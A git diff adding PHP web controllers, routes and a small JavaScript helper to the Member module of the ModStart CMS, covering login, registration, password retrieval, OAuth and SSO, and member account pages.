$url); + } + if (modstart_config('Member_RegisterPhoneEnable', false)) { + $registerDefault = modstart_config('Member_RegisterDefault', 'default'); + if ('phone' == $registerDefault) { + $force = $input->getBoolean('force', false); + if (!$force) { + return Response::redirect(modstart_web_url('register/phone', $redirectData)); + } + } + } + $view = 'register'; + if (!empty($redirectData['dialog'])) { + $view = 'registerDialog'; + } + return $this->view($view, $redirectData); + } + + public function registerPhone() + { + BizException::throwsIf('禁止注册', modstart_config('registerDisable', false)); + BizException::throwsIf('短信验证注册未开启', !modstart_config('Member_RegisterPhoneEnable', false)); + $input = InputPackage::buildFromInput(); + $redirectData = $this->getRedirectData($input); + $this->api->checkRedirectSafety($redirectData['redirect']); + if (Request::isPost()) { + $ret = $this->api->registerPhone(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + return Response::send(0, null, null, $redirectData['redirect']); + } + $view = 'registerPhone'; + if (!empty($redirectData['dialog'])) { + $view = 'registerPhoneDialog'; + } + return $this->view($view, $redirectData); + } + + public function registerEmailVerify() + { + return Response::sendFromGenerate($this->api->registerEmailVerify()); + } + + public function registerPhoneVerify() + { + return Response::sendFromGenerate($this->api->registerPhoneVerify()); + } + + public function registerCaptcha() + { + return $this->api->registerCaptchaRaw(); + } + + public function registerCaptchaVerify() + { + $ret = $this->api->registerCaptchaVerify(); + if ($ret['code']) { + return Response::send(-1, $ret['msg'], null, '[js]$("[data-captcha]").click()'); + } + return Response::send(0, $ret['msg']); + } + + public function retrieve() + { + $input = InputPackage::buildFromInput(); + $redirect = $input->getTrimString('redirect', modstart_web_url('member')); + return $this->view('retrieve', [ + 'redirect' => $redirect, + ]); + } + + public function retrievePhone() + { + $input = InputPackage::buildFromInput(); + $redirect = $input->getTrimString('redirect', modstart_web_url('member')); + if (Request::isPost()) { + $ret = $this->api->retrievePhone(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + return Response::send(0, $ret['msg'], null, modstart_web_url('retrieve') . '/reset?redirect=' . urlencode($redirect)); + } + return $this->view('retrievePhone', [ + 'redirect' => $redirect, + ]); + } + + public function retrievePhoneVerify() + { + return Response::sendFromGenerate($this->api->retrievePhoneVerify()); + } + + public function retrieveEmail() + { + $input = InputPackage::buildFromInput(); + $redirect = $input->getTrimString('redirect', modstart_web_url('member')); + if (Request::isPost()) { + $ret = $this->api->retrieveEmail(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + return Response::send(0, $ret['msg'], null, modstart_web_url('retrieve') . '/reset?redirect=' . urlencode($redirect)); + } + return $this->view('retrieveEmail', [ + 'redirect' => $redirect, + ]); + } + + public function retrieveEmailVerify() + { + return Response::sendFromGenerate($this->api->retrieveEmailVerify()); + } + + public function retrieveCaptcha() + { + return $this->api->retrieveCaptchaRaw(); + } + + public function retrieveReset() + { + $input = InputPackage::buildFromInput(); + $redirect = $input->getTrimString('redirect', modstart_web_url('member')); + if (Request::isPost()) { + $ret = $this->api->retrieveReset(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + return Response::send(0, $ret['msg'], null, $redirect); + } + $ret = $this->api->retrieveResetInfo(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + return $this->view('retrieveReset', [ + 'redirect' => $redirect, + 'memberUser' => $ret['data']['memberUser'], + ]); + } + + public function oauthLogin($oauthType = null) + { + $input = InputPackage::buildFromInput(); + + $refer = Request::headerReferer(); + if (empty($refer)) { + + } + + /** @deprecated delete at 2024-06-29 */ + $view = $input->getBoolean('view', false); + if ($view) { + Session::put('oauthLoginView', true); + } + /** @deprecated delete at 2024-06-29 */ + + $callbackMode = $input->getType('callbackMode', MemberOauthCallbackMode::class); + if ($callbackMode) { + Session::put('oauthCallbackMode', $callbackMode); + } + $redirect = $input->getTrimString('redirect', modstart_web_url('member')); + $this->api->checkRedirectSafety($redirect); + $callback = Request::domainUrl() . '/oauth_callback_' . $oauthType; + $ret = $this->api->oauthLogin($oauthType, $callback); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + Session::put('oauthRedirect', $redirect); + return Response::redirect($ret['data']['redirect']); + } + + public function oauthCallback($oauthType = null) + { + $callback = Request::domainUrl() . '/oauth_callback_' . $oauthType; + $ret = $this->api->oauthCallback($oauthType, $callback); + if ($ret['code']) { + return Response::sendFromGenerate($ret); + } + $redirect = Session::get('oauthRedirect', modstart_web_url('member')); + $oauthUserInfo = Session::get('oauthUserInfo'); + + /** @deprecated delete at 2024-06-29 */ + $view = Session::pull('oauthLoginView', false); + if ($view) { + Session::put('oauthViewOpenId_' . $oauthType, $oauthUserInfo['openid']); + Session::forget('oauthUserInfo'); + Session::forget('oauthRedirect'); + return Response::redirect($redirect); + } + /** @deprecated delete at 2024-06-29 */ + + $callbackMode = Session::pull('oauthCallbackMode', null); + if ($callbackMode) { + switch ($callbackMode) { + case MemberOauthCallbackMode::View: + Session::put('oauthViewOpenId_' . $oauthType, $oauthUserInfo['openid']); + Session::forget('oauthUserInfo'); + Session::forget('oauthRedirect'); + return Response::redirect($redirect); + case MemberOauthCallbackMode::AutoBind: + BizException::throwsIf('未登录', MemberUser::isNotLogin()); + MemberUtil::putOauth(MemberUser::id(), $oauthType, $oauthUserInfo['openid']); + Session::forget('oauthUserInfo'); + Session::forget('oauthRedirect'); + switch ($oauthType) { + case WechatMobileOauth::NAME: + case WechatMiniProgramOauth::NAME: + case WechatOauth::NAME: + if (!empty($userInfo['unionid'])) { + MemberUtil::putOauth(MemberUser::id(), MemberOauthConstant::WECHAT_UNION, $userInfo['unionid']); + } + break; + } + return Response::redirect($redirect); + } + } + return Response::redirect(Request::domainUrl() . '/oauth_bind_' . $oauthType); + } + + public function oauthBackAndClose() + { + return $this->view('oauthBackAndClose'); + } + + public function oauthBind($oauthType = null) + { + $input = InputPackage::buildFromInput(); + $redirect = Session::get('oauthRedirect'); + if (empty($redirect)) { + $redirect = $input->getTrimString('redirect'); + } + if (empty($redirect)) { + $redirect = modstart_web_url('member'); + } + $this->api->checkRedirectSafety($redirect); + if (Request::isPost()) { + $ret = $this->api->oauthBind($oauthType); + if ($ret['code']) { + if ($input->getTrimString('captcha')) { + return Response::send(-1, $ret['msg'], null, '[js]$("[data-captcha]").click()'); + } + return Response::send(-1, $ret['msg']); + } + Session::forget('oauthRedirect'); + return Response::send(0, $ret['msg'], null, $redirect); + } + $oauthUserInfo = Session::get('oauthUserInfo', []); + $ret = $this->api->oauthTryLogin($oauthType); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + if ($ret['data']['memberUserId'] > 0) { + Session::forget('oauthRedirect'); + return Response::redirect($redirect); + } + if (MemberUser::isLogin()) { + $ret = $this->api->oauthBind($oauthType); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + Session::forget('oauthRedirect'); + return Response::send(0, '绑定成功', null, $redirect); + } + return $this->view('oauthBind', [ + 'oauthUserInfo' => $oauthUserInfo, + 'redirect' => $redirect, + ]); + } + + public function oauthBindCaptcha() + { + return $this->api->oauthBindCaptchaRaw(); + } + + public function oauthBindCaptchaVerify() + { + $ret = $this->api->oauthBindCaptchaVerify(); + if ($ret['code']) { + return Response::send(-1, $ret['msg'], null, '[js]$("[data-captcha]").click()'); + } + return Response::send(0, $ret['msg']); + } + + public function oauthBindEmailVerify() + { + return Response::sendFromGenerate($this->api->oauthBindEmailVerify()); + } + + public function oauthBindPhoneVerify() + { + return Response::sendFromGenerate($this->api->oauthBindPhoneVerify()); + } + + public function oauthProxy() + { + return $this->view('oauthProxy'); + } + + public function ssoClient() + { + $ret = $this->api->ssoClient(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + $redirect = Session::get('ssoClientRedirect', modstart_web_url('member')); + return Response::send(0, null, null, $redirect); + } + + public function ssoServer() + { + $input = InputPackage::buildFromInput(); + $ret = $this->api->ssoServer(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + $serverSuccessUrl = '/sso/server_success?' . http_build_query([ + 'client' => $input->getTrimString('client'), + 'domainUrl' => Request::domainUrl(), + ]); + if ($ret['data']['isLogin']) { + return Response::send(0, null, null, $serverSuccessUrl); + } + return Response::send(0, null, null, modstart_web_url('login') . '?' . http_build_query(['redirect' => $serverSuccessUrl])); + } + + public function ssoServerSuccess() + { + $ret = $this->api->ssoServerSuccess(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + return Response::send(0, null, null, $ret['data']['redirect']); + } + + public function ssoServerLogout() + { + $input = InputPackage::buildFromInput(); + $ret = $this->api->ssoServerLogout(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + $redirect = $input->getTrimString('redirect', modstart_web_url('')); + return Response::send(0, null, null, $redirect); + } + + public function ssoClientLogout() + { + $ret = $this->api->ssoClientLogout(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + $redirect = Session::get('ssoLogoutRedirect', modstart_web_url('')); + return Response::send(0, null, null, $redirect); + } +} diff --git a/module/Member/Web/Controller/MemberAddressController.php b/module/Member/Web/Controller/MemberAddressController.php new file mode 100644 index 00000000..137f7b5b --- /dev/null +++ b/module/Member/Web/Controller/MemberAddressController.php @@ -0,0 +1,113 @@ +api = app(\Module\Member\Api\Controller\MemberAddressController::class); + } + + public function index(WebPage $page) + { + $grid = Grid::make('member_address'); + $grid->repositoryFilter(function (RepositoryFilter $filter) { + $filter->where(['memberUserId' => MemberUser::id()]); + }); + $grid->disableCUD()->disableItemOperate() + ->canAdd(true)->urlAdd(action('\\' . __CLASS__ . '@add'))->addDialogSize(['60%', '80%']); + $grid->useSimple(function (AbstractField $field, $item, $index) { + return AutoRenderedFieldValue::makeView('module::Member.View.pc.memberAddress.item', [ + 'item' => $item, + ]); + }); + $grid->title('地址'); + if (Request::isPost()) { + return $grid->request(); + } + list($view, $_) = $this->viewPaths('memberAddress.index'); + return $page->view($view)->pageTitle('我的地址')->body($grid); + } + + private function doAddEdit() + { + $id = CRUDUtil::id(); + $record = null; + if ($id) { + $record = ModelUtil::get('member_address', ['id' => $id, 'memberUserId' => MemberUser::id()]); + BizException::throwsIfEmpty('地址不存在', $record); + } + /** @var WebConfigBuilder $builder */ + $builder = app(WebConfigBuilder::class); + $builder->useDialog(); + $builder->pageTitle(($id ? '修改' : '增加') . '地址'); + $builder->text('name', '姓名')->required(); + $builder->text('phone', '手机号')->required(); + if (modstart_module_enabled('Area')) { + $builder->areaChina('area', '省市地区')->required(); + } else { + $html = "
省市地区需要依赖 Area 模块
"; + $builder->html('area', '省市地区')->html($html)->addable(true)->required(); + } + + $builder->textarea('detail', '详细地址')->required(); + $builder->text('post', '邮政编码'); + return $builder->perform(ArrayUtil::keepKeys($record, ['name', 'phone', 'area', 'detail', 'post']), + function (Form $form) use ($id) { + $data = $form->dataForming(); + if ($id) { + ModelUtil::update('member_address', $id, $data); + } else { + $data['memberUserId'] = MemberUser::id(); + ModelUtil::insert('member_address', $data); + } + return Response::redirect(CRUDUtil::jsDialogCloseAndParentGridRefresh()); + }); + } + + public function add() + { + return $this->doAddEdit(); + } + + public function edit() + { + return $this->doAddEdit(); + } + + public function delete() + { + $id = CRUDUtil::id(); + $record = ModelUtil::get('member_address', ['id' => $id, 'memberUserId' => MemberUser::id()]); + BizException::throwsIfEmpty('地址不存在', $record); + ModelUtil::delete('member_address', $id); + return Response::redirect(CRUDUtil::jsGridRefresh()); + } + +} diff --git a/module/Member/Web/Controller/MemberController.php b/module/Member/Web/Controller/MemberController.php new file mode 100644 index 00000000..56a4ee32 --- /dev/null +++ b/module/Member/Web/Controller/MemberController.php @@ -0,0 +1,63 @@ +api = $api; + } + + + public function index(WebPage $page) + { + $viewBase = 'member.index'; + if (Input::get('dialog', 0)) { + $viewBase = 'member.dialog'; + $this->shareDialogPageViewFrame(); + } + list($view, $viewFrame) = $this->viewPaths($viewBase); + $page->view($view); + foreach (MemberHomePanel::get() as $panel) { + $page->append(new Row(function (Row $row) use ($panel) { + call_user_func_array($panel, [ + $row + ]); + })); + } + foreach (MemberHomeIcon::get() as $group) { + $page->append(Box::make(new Row(function (Row $row) use ($group) { + foreach ($group['children'] as $child) { + $value = isset($child['value']) ? $child['value'] : null; + $row->column(['md' => 2, '' => 3], DashboardItemA::makeIconTitleValueLink($child['icon'], $child['title'], $value, $child['url'])); + } + }), $group['title'])); + } + $viewData = Response::tryGetData($this->api->current()); + View::share($viewData); + $page->pageTitle('我的'); + return $page; + } +} diff --git a/module/Member/Web/Controller/MemberCreditController.php b/module/Member/Web/Controller/MemberCreditController.php new file mode 100644 index 00000000..c2bb2b97 --- /dev/null +++ b/module/Member/Web/Controller/MemberCreditController.php @@ -0,0 +1,55 @@ +viewMemberFrame, $_) = $this->viewPaths('member.frame'); + View::share('_viewMemberFrame', $this->viewMemberFrame); + $this->api = app(\Module\Member\Api\Controller\MemberCreditController::class); + } + + public function index(WebPage $page) + { + $grid = Grid::make('member_credit_log'); + $grid->repositoryFilter(function (RepositoryFilter $filter) { + $filter->where(['memberUserId' => MemberUser::id()]); + }); + $grid->gridFilter(function (GridFilter $filter) { + $filter->range('created_at', '时间')->datetime(); + }); + $grid->disableCUD()->disableItemOperate(); + $grid->useSimple(function (AbstractField $field, $item, $index) { + return AutoRenderedFieldValue::makeView('module::Member.View.pc.memberCredit.item', [ + 'item' => $item, + ]); + }); + if (Request::isPost()) { + return $grid->request(); + } + list($view, $_) = $this->viewPaths('memberCredit.index'); + $page->pageTitle('我的' . ModuleManager::getModuleConfig('Member', 'creditName', '积分')); + return $page->view($view)->body($grid); + } + +} diff --git a/module/Member/Web/Controller/MemberDataController.php b/module/Member/Web/Controller/MemberDataController.php new file mode 100644 index 00000000..24b57691 --- /dev/null +++ b/module/Member/Web/Controller/MemberDataController.php @@ -0,0 +1,55 @@ + [ + 'param' => [ + 'userType' => 'member', + 'userId' => MemberUser::id(), + ] + ] + ] + ); + } + FileManager::prepareLang(); + return view('module::Member.View.pc.memberData.fileManager', [ + 'category' => $category, + 'pageTitle' => L('Select ' . ucfirst($category)), + ]); + } + + public function ueditor() + { + return UeditorManager::handle('member_upload', 'member_upload_category', MemberUser::id()); + } + + public function ueditorGuest() + { + return UeditorManager::handle('member_upload', 'member_upload_category', MemberUser::id()); + } +} diff --git a/module/Member/Web/Controller/MemberFrameController.php b/module/Member/Web/Controller/MemberFrameController.php new file mode 100644 index 00000000..723c6ddc --- /dev/null +++ b/module/Member/Web/Controller/MemberFrameController.php @@ -0,0 +1,20 @@ +viewMemberFrame, $_) = $this->viewPaths('member.frame'); + View::share('_viewMemberFrame', $this->viewMemberFrame); + } + +} diff --git a/module/Member/Web/Controller/MemberMessageController.php b/module/Member/Web/Controller/MemberMessageController.php new file mode 100644 index 00000000..a237823a --- /dev/null +++ b/module/Member/Web/Controller/MemberMessageController.php @@ -0,0 +1,68 @@ +api = app(\Module\Member\Api\Controller\MemberMessageController::class); + } + + public function index(WebPage $page) + { + $grid = Grid::make('member_message'); + $grid->gridFilter(function (GridFilter $filter) { + $filter->eq('status', '状态')->radio(MemberMessageStatus::class); + }); + $grid->batchOperatePrepend(''); + ModStart::scriptFile('module/Member/Web/Controller/memberMessage.js'); + $grid->repositoryFilter(function (RepositoryFilter $filter) { + $filter->where(['userId' => MemberUser::id()]); + }); + $grid->disableCUD()->disableItemOperate(); + $grid->useSimple(function (AbstractField $field, $item, $index) { + return AutoRenderedFieldValue::makeView('module::Member.View.pc.memberMessage.item', [ + 'item' => $item, + ]); + }); + return $page->pageTitle('我的消息')->view($this->viewMemberFrame)->body(new Box($grid, '我的消息'))->handleGrid($grid); + } + + public function delete() + { + return Response::sendFromGenerate($this->api->delete()); + } + + public function read() + { + return Response::sendFromGenerate($this->api->read()); + } + + public function readAll() + { + return Response::sendFromGenerate($this->api->readAll()); + } +} diff --git a/module/Member/Web/Controller/MemberMoneyCashController.php b/module/Member/Web/Controller/MemberMoneyCashController.php new file mode 100644 index 00000000..eadcd2f8 --- /dev/null +++ b/module/Member/Web/Controller/MemberMoneyCashController.php @@ -0,0 +1,64 @@ +api = $api; + } + + public function index() + { + $total = MemberMoneyUtil::getTotal(MemberUser::id()); + return $this->view('memberMoneyCash.index', [ + 'pageTitle' => '钱包提现', + 'total' => $total, + ]); + } + + public function log(WebPage $page) + { + $grid = Grid::make('member_money_cash'); + $grid->repositoryFilter(function (RepositoryFilter $filter) { + $filter->where(['memberUserId' => MemberUser::id()]); + }); + $grid->gridFilter(function (GridFilter $filter) { + $filter->range('created_at', '时间')->datetime(); + }); + $grid->disableCUD()->disableItemOperate(); + $grid->useSimple(function (AbstractField $field, $item, $index) { + return AutoRenderedFieldValue::makeView('module::Member.View.pc.memberMoneyCash.logItem', [ + 'item' => $item, + ]); + }); + if (Request::isPost()) { + return $grid->request(); + } + list($view, $_) = $this->viewPaths('memberMoneyCash.log'); + return $page->pageTitle('钱包提现')->view($view)->body($grid); + } + +} diff --git a/module/Member/Web/Controller/MemberMoneyChargeController.php b/module/Member/Web/Controller/MemberMoneyChargeController.php new file mode 100644 index 00000000..a9a9638a --- /dev/null +++ b/module/Member/Web/Controller/MemberMoneyChargeController.php @@ -0,0 +1,32 @@ +api = $api; + } + + public function index() + { + BizException::throwsIf('钱包充值未开启', !modstart_config('Member_MoneyChargeEnable', false)); + return $this->view('memberMoneyCharge.index', [ + 'pageTitle' => '钱包充值', + ]); + } +} diff --git a/module/Member/Web/Controller/MemberMoneyController.php b/module/Member/Web/Controller/MemberMoneyController.php new file mode 100644 index 00000000..a01676ef --- /dev/null +++ b/module/Member/Web/Controller/MemberMoneyController.php @@ -0,0 +1,45 @@ +api = app(\Module\Member\Api\Controller\MemberMoneyController::class); + } + + public function index(WebPage $page) + { + $grid = Grid::make('member_money_log'); + $grid->repositoryFilter(function (RepositoryFilter $filter) { + $filter->where(['memberUserId' => MemberUser::id()]); + }); + $grid->gridFilter(function (GridFilter $filter) { + $filter->range('created_at', '时间')->datetime(); + }); + $grid->disableCUD()->disableItemOperate(); + $grid->useSimple(function (AbstractField $field, $item, $index) { + return AutoRenderedFieldValue::makeView('module::Member.View.pc.memberMoney.item', [ + 'item' => $item, + ]); + }); + list($view, $_) = $this->viewPaths('memberMoney.index'); + return $page->pageTitle('钱包')->view($view)->body($grid)->handleGrid($grid); + } +} diff --git a/module/Member/Web/Controller/MemberProfileController.php b/module/Member/Web/Controller/MemberProfileController.php new file mode 100644 index 00000000..c29562fb --- /dev/null +++ b/module/Member/Web/Controller/MemberProfileController.php @@ -0,0 +1,138 @@ +viewMemberFrame, $_) = $this->viewPaths('member.frame'); + View::share('_viewMemberFrame', $this->viewMemberFrame); + $this->api = app(\Module\Member\Api\Controller\MemberProfileController::class); + } + + + public function password() + { + if (Request::isPost()) { + return Response::jsonFromGenerate($this->api->password()); + } + return $this->view('memberProfile.password', [ + 'pageTitle' => '密码设定', + ]); + } + + public function nickname() + { + if (Request::isPost()) { + return Response::jsonFromGenerate($this->api->nickname()); + } + return $this->view('memberProfile.nickname', [ + 'pageTitle' => '昵称修改', + ]); + } + + public function avatar() + { + if (Request::isPost()) { + return Response::jsonFromGenerate($this->api->avatar()); + } + return $this->view('memberProfile.avatar', [ + 'pageTitle' => '修改头像', + ]); + } + + public function captcha() + { + return $this->api->captchaRaw(); + } + + public function bind() + { + return Response::redirect(modstart_web_url('member_profile/email')); + } + + public function security() + { + return Response::redirect(modstart_web_url('member_profile/password')); + } + + public function profile() + { + return Response::redirect(modstart_web_url('member_profile/avatar')); + } + + public function oauth($type) + { + $oauth = MemberOauth::getOrFail($type); + BizException::throwsIfEmpty('授权登录不存在', $oauth); + $oauthRecord = MemberUtil::getOauth(MemberUser::id(), $oauth->oauthKey()); + // var_dump([MemberUser::id(), $oauth->oauthKey()]); + // var_dump($oauthRecord); + $viewData = [ + 'pageTitle' => $oauth->title(), + 'oauth' => $oauth, + 'oauthRecord' => $oauthRecord, + ]; + return $this->view('memberProfile.oauth', $viewData); + } + + public function email() + { + if (Request::isPost()) { + return Response::jsonFromGenerate($this->api->email()); + } + return $this->view('memberProfile.email', [ + 'pageTitle' => '邮箱绑定', + ]); + } + + public function emailVerify() + { + return Response::sendFromGenerate($this->api->emailVerify()); + } + + public function phone() + { + if (Request::isPost()) { + return Response::jsonFromGenerate($this->api->phone()); + } + return $this->view('memberProfile.phone', [ + 'pageTitle' => '手机绑定', + ]); + } + + public function phoneVerify() + { + return Response::sendFromGenerate($this->api->phoneVerify()); + } + + public function delete() + { + if (Request::isPost()) { + return Response::jsonFromGenerate($this->api->delete()); + } + return $this->view('memberProfile.delete', [ + 'pageTitle' => '注销账号', + ]); + } +} diff --git a/module/Member/Web/Controller/MemberVipController.php b/module/Member/Web/Controller/MemberVipController.php new file mode 100644 index 00000000..dd43a60f --- /dev/null +++ b/module/Member/Web/Controller/MemberVipController.php @@ -0,0 +1,35 @@ +api = app(\Module\Member\Api\Controller\MemberVipController::class); + $view = 'memberVip.index'; + $input = InputPackage::buildFromInput(); + $dialog = $input->getInteger('dialog'); + if ($dialog) { + $view = 'memberVip.indexDialog'; + $this->shareDialogPageViewFrame(); + } + return $this->view($view, [ + 'memberVips' => MemberVipUtil::allVisible(), + 'memberVipRights' => MemberVipUtil::rights(), + ]); + } + +} diff --git a/module/Member/Web/Controller/PageController.php b/module/Member/Web/Controller/PageController.php new file mode 100644 index 00000000..a439fecd --- /dev/null +++ b/module/Member/Web/Controller/PageController.php @@ -0,0 +1,42 @@ +view('member.page', [ + 'pageTitle' => modstart_config('Member_AgreementTitle'), + 'pageContent' => modstart_config('Member_AgreementContent'), + ]); + } + + public function privacy() + { + return $this->view('member.page', [ + 'pageTitle' => modstart_config('Member_PrivacyTitle'), + 'pageContent' => modstart_config('Member_PrivacyContent'), + ]); + } + + public function appeal() + { + return $this->view('member.page', [ + 'pageTitle' => modstart_config('Member_AppealTitle'), + 'pageContent' => modstart_config('Member_AppealContent'), + ]); + } + + public function vip() + { + return $this->view('member.page', [ + 'pageTitle' => modstart_config('Member_VipTitle', '会员协议'), + 'pageContent' => modstart_config('Member_VipContent'), + ]); + } +} diff --git a/module/Member/Web/Controller/memberMessage.js b/module/Member/Web/Controller/memberMessage.js new file mode 100644 index 00000000..6f687130 --- /dev/null +++ b/module/Member/Web/Controller/memberMessage.js @@ -0,0 +1,49 @@ +MS.ready( + function () { + return window.__grids; + }, + function () { + var updateUnreadMessageCount = function (cnt) { + $('[data-member-unread-message-count]').html(cnt) + if (cnt <= 0) { + $('[data-member-unread-message-count]').addClass('tw-animate-ping'); + setTimeout(function () { + $('[data-member-unread-message-count]').remove(); + }, 1000); + } + }; + var setAdRead = function (id) { + MS.api.post('member_message/read', {_id: id}, function (res) { + updateUnreadMessageCount(res.data.unreadMessageCount); + }); + }; + var grid = window.__grids.get(0); + grid.$lister.on('click', '[data-batch-read-all]', function () { + var ids = $('[data-message-id]').map(function () { + return $(this).data('message-id'); + }).get(); + MS.api.post('member_message/read_all', {_id: ids.join(',')}, function (res) { + grid.lister.refresh(); + MS.dialog.tipSuccess('操作成功'); + updateUnreadMessageCount(0); + }); + }); + grid.$lister.on('click', '[data-item-read]', function () { + var $message = $(this).closest('[data-message-id]'); + setAdRead($message.data('message-id')); + $message.find('[data-message-unread],[data-item-read]').remove(); + }); + grid.$lister.on('click', '[data-message-id]', function () { + if ($(this).find('[data-message-unread]').length) { + $(this).find('[data-message-unread],[data-item-read]').remove(); + setAdRead($(this).data('message-id')); + } + }); + grid.$lister.on('click', '[data-item-delete]', function () { + MS.api.post('member_message/delete', {_id: $(this).closest('[data-message-id]').data('message-id')}, function (res) { + grid.lister.refresh(); + updateUnreadMessageCount(res.data.unreadMessageCount); + }); + }); + } +); diff --git a/module/Member/Web/routes.php b/module/Member/Web/routes.php new file mode 100644 index 00000000..122f1650 --- /dev/null +++ b/module/Member/Web/routes.php @@ -0,0 +1,93 @@ +group([ + 'middleware' => [ + \Module\Member\Middleware\WebAuthMiddleware::class, + ], +], function () use ($router) { + + $router->match(['get'], 'member/agreement', 'PageController@agreement'); + $router->match(['get'], 'member/privacy', 'PageController@privacy'); + $router->match(['get'], 'member/appeal', 'PageController@appeal'); + $router->match(['get'], 'member/vip', 'PageController@vip'); + + $router->match(['get', 'post'], 'login', 'AuthController@login'); + $router->match(['get', 'post'], 'login/captcha', 'AuthController@loginCaptcha'); + $router->match(['get', 'post'], 'login/phone', 'AuthController@loginPhone'); + $router->match(['get', 'post'], 'login/phone_captcha', 'AuthController@loginPhoneCaptcha'); + $router->match(['get', 'post'], 'login/phone_verify', 'AuthController@loginPhoneVerify'); + $router->match(['get', 'post'], 'login/sso', 'AuthController@loginSso'); + $router->match(['get', 'post'], 'login/wechat', 'AuthController@loginWechat'); + $router->match(['get', 'post'], 'login/other', 'AuthController@loginOther'); + $router->match(['get', 'post'], 'logout', 'AuthController@logout'); + $router->match(['get', 'post'], 'register', 'AuthController@register'); + $router->match(['get', 'post'], 'register/phone', 'AuthController@registerPhone'); + $router->match(['get', 'post'], 'register/captcha', 'AuthController@registerCaptcha'); + $router->match(['get', 'post'], 'register/captcha_verify', 'AuthController@registerCaptchaVerify'); + $router->match(['get', 'post'], 'register/phone_verify', 'AuthController@registerPhoneVerify'); + $router->match(['get', 'post'], 'register/email_verify', 'AuthController@registerEmailVerify'); + $router->match(['get', 'post'], 'retrieve', 'AuthController@retrieve'); + $router->match(['get', 'post'], 'retrieve/email', 'AuthController@retrieveEmail'); + $router->match(['get', 'post'], 'retrieve/email_verify', 'AuthController@retrieveEmailVerify'); + $router->match(['get', 'post'], 'retrieve/phone', 'AuthController@retrievePhone'); + $router->match(['get', 'post'], 'retrieve/phone_verify', 'AuthController@retrievePhoneVerify'); + $router->match(['get', 'post'], 'retrieve/captcha', 'AuthController@retrieveCaptcha'); + $router->match(['get', 'post'], 'retrieve/reset', 'AuthController@retrieveReset'); + + $router->get('sso/client', 'AuthController@ssoClient'); + $router->get('sso/server', 'AuthController@ssoServer'); + $router->get('sso/server_success', 'AuthController@ssoServerSuccess'); + $router->get('sso/server_logout', 'AuthController@ssoServerLogout'); + $router->get('sso/client_logout', 'AuthController@ssoClientLogout'); + + $router->match(['get', 'post'], 'oauth_proxy', 'AuthController@oauthProxy'); + $router->match(['get', 'post'], 'oauth_login_{oauthType}', 'AuthController@oauthLogin'); + $router->match(['get', 'post'], 'oauth_callback_{oauthType}', 'AuthController@oauthCallback'); + $router->match(['get', 'post'], 'oauth_bind_{oauthType}', 'AuthController@oauthBind'); + $router->match(['get', 'post'], 'oauth_bind/captcha', 'AuthController@oauthBindCaptcha'); + $router->match(['get', 'post'], 'oauth_bind/captcha_verify', 'AuthController@oauthBindCaptchaVerify'); + $router->match(['get', 'post'], 'oauth_bind/email_verify', 'AuthController@oauthBindEmailVerify'); + $router->match(['get', 'post'], 'oauth_bind/phone_verify', 'AuthController@oauthBindPhoneVerify'); + $router->match(['get', 'post'], 'oauth_back_and_close', 'AuthController@oauthBackAndClose'); + + $router->match(['get', 'post'], 'member', 'MemberController@index'); + + $router->match(['get', 'post'], 'member_profile/captcha', 'MemberProfileController@captcha'); + $router->match(['get', 'post'], 'member_profile/security', 'MemberProfileController@security'); + $router->match(['get', 'post'], 'member_profile/password', 'MemberProfileController@password'); + $router->match(['get', 'post'], 'member_profile/profile', 'MemberProfileController@profile'); + $router->match(['get', 'post'], 'member_profile/avatar', 'MemberProfileController@avatar'); + $router->match(['get', 'post'], 'member_profile/bind', 'MemberProfileController@bind'); + $router->match(['get', 'post'], 'member_profile/email', 'MemberProfileController@email'); + $router->match(['get', 'post'], 'member_profile/email_verify', 'MemberProfileController@emailVerify'); + $router->match(['get', 'post'], 'member_profile/phone', 'MemberProfileController@phone'); + $router->match(['get', 'post'], 'member_profile/phone_verify', 'MemberProfileController@phoneVerify'); + $router->match(['get', 'post'], 'member_profile/oauth/{type}', 'MemberProfileController@oauth'); + $router->match(['get', 'post'], 'member_profile/delete', 'MemberProfileController@delete'); + $router->match(['get', 'post'], 'member_profile/nickname', 'MemberProfileController@nickname'); + + $router->match(['get', 'post'], 'member_message', 'MemberMessageController@index'); + $router->match(['post'], 'member_message/delete', 'MemberMessageController@delete'); + $router->match(['get', 'post'], 'member_message/read', 'MemberMessageController@read'); + $router->match(['get', 'post'], 'member_message/read_all', 'MemberMessageController@readAll'); + + $router->match(['get', 'post'], 'member_data/file_manager/{category}', 'MemberDataController@fileManager'); + $router->match(['get', 'post'], 'member_data/ueditor', 'MemberDataController@ueditor'); + $router->match(['get', 'post'], 'member_data/ueditor_guest', 'MemberDataController@ueditorGuest'); + + $router->match(['get', 'post'], 'member_vip', 'MemberVipController@index'); + + $router->match(['get', 'post'], 'member_money', 'MemberMoneyController@index'); + $router->match(['get', 'post'], 'member_money/cash', 'MemberMoneyCashController@index'); + $router->match(['get', 'post'], 'member_money/cash/log', 'MemberMoneyCashController@log'); + $router->match(['get', 'post'], 'member_money/charge', 'MemberMoneyChargeController@index'); + + $router->match(['get', 'post'], 'member_credit', 'MemberCreditController@index'); + + $router->match(['get', 'post'], 'member_address', 'MemberAddressController@index'); + $router->match(['get', 'post'], 'member_address/add', 'MemberAddressController@add'); + $router->match(['get', 'post'], 'member_address/edit', 'MemberAddressController@edit'); + $router->match(['post'], 'member_address/delete', 'MemberAddressController@delete'); + $router->match(['get', 'post'], 'member_address/area_china', 'MemberAddressController@areaChina'); + +}); diff --git a/module/Member/Widget/Field/AdminMemberInfo.php b/module/Member/Widget/Field/AdminMemberInfo.php new file mode 100644 index 00000000..aff55e06 --- /dev/null +++ b/module/Member/Widget/Field/AdminMemberInfo.php @@ -0,0 +1,70 @@ +addVariables([ + 'memberFieldName' => null, + 'formAsDisplay' => null, + ]); + } + + public function memberFieldName($v) + { + $this->addVariables(['memberFieldName' => $v]); + return $this; + } + 